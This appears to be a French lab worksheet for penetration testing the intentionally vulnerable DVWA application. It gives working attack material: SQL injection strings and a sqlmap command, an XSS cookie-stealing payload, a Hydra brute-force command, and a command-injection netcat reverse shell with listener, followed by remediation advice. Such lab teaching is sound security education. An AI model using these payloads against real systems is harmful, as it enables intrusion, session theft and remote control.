TP : Test de Pénétration avec Damn Vulnerable Web Application (DVWA)
Objectif
Simuler une attaque sur une application web vulnérable pour identifier des failles comme
l'injection SQL, XSS (Cross-Site Scripting), et les faiblesses d'authentification.
1. Préparation de l'environnement
1. Installer DVWA :
- Télécharge DVWA via le site officiel ([Link]
- Configure un serveur web comme XAMPP, LAMPP ou Apache2 pour héberger DVWA sur ta
machine cible.
- Assure-toi que MySQL et PHP sont correctement configurés.
2. Configurer les niveaux de sécurité de DVWA :
- Une fois installé, accède à l'interface de DVWA via ton navigateur (par exemple :
[Link]
- Configure la base de données en suivant les instructions sur la page d’accueil.
- Dans les paramètres, définis le niveau de sécurité à 'Low' pour commencer.
3. Machine attaquante :
- Utilise Kali Linux comme machine attaquante.
- Installe les outils nécessaires (Burp Suite, OWASP ZAP, sqlmap, etc.).
4. Configuration réseau :
- Assure-toi que Kali Linux et DVWA sont sur le même réseau (utilise un réseau NAT ou
Host-Only si tu es en VM).
2. Réaliser une attaque ciblée
Injection SQL (SQLi)
1. Tester les champs d'entrée :
- Va dans le module SQL Injection de DVWA.
- Entrez une requête simple comme : ' OR '1'='1.
- Observe si une injection SQL permet de contourner la requête.
2. Automatiser avec sqlmap :
- Identifie l’URL vulnérable via Burp Suite ou OWASP ZAP.
- Lance sqlmap pour automatiser l’exploitation :
```bash
sqlmap -u '[Link] --
cookie='PHPSESSID=<session_id>' --dbs
```
Cross-Site Scripting (XSS)
1. Tester le module XSS Stored ou Reflected :
- Injecte un script simple : <script>alert('XSS')</script>.
- Observe si le script s’exécute sur la page.
2. Exploitation avancée :
- Utilise une charge utile (payload) pour voler des cookies :
```javascript
<script>[Link]='[Link]
```
Brute Force Login
1. Tester le formulaire de connexion :
- Utilise Hydra pour tenter une attaque par force brute :
```bash
hydra -l admin -P /usr/share/wordlists/[Link] <IP-cible> http-post-form
'/dvwa/[Link]:username=^USER^&password=^PASS^&Login=Login:F=incorrect'
```
Command Injection
1. Tester le module 'Command Injection' :
- Injecte une commande système dans le champ prévu : ; ls.
- Observe si la commande est exécutée.
2. Obtenir un reverse shell :
- Injecte une commande pour se connecter à ta machine Kali :
```bash
; nc <IP-kali> <port> -e /bin/bash
```
- Configure un listener Netcat sur Kali :
```bash
nc -lvnp <port>
```
3. Documenter les résultats
Après avoir terminé les tests, rédige un rapport comprenant :
- Les vulnérabilités exploitées, les outils utilisés, et les impacts.
- Les propositions de corrections pour chaque vulnérabilité :
- Injection SQL : Utiliser des requêtes préparées.
- XSS : Valider et échapper les entrées utilisateur.
- Brute Force : Limiter les tentatives de connexion.
- Command Injection : Désactiver l’exécution des commandes depuis les champs
utilisateur.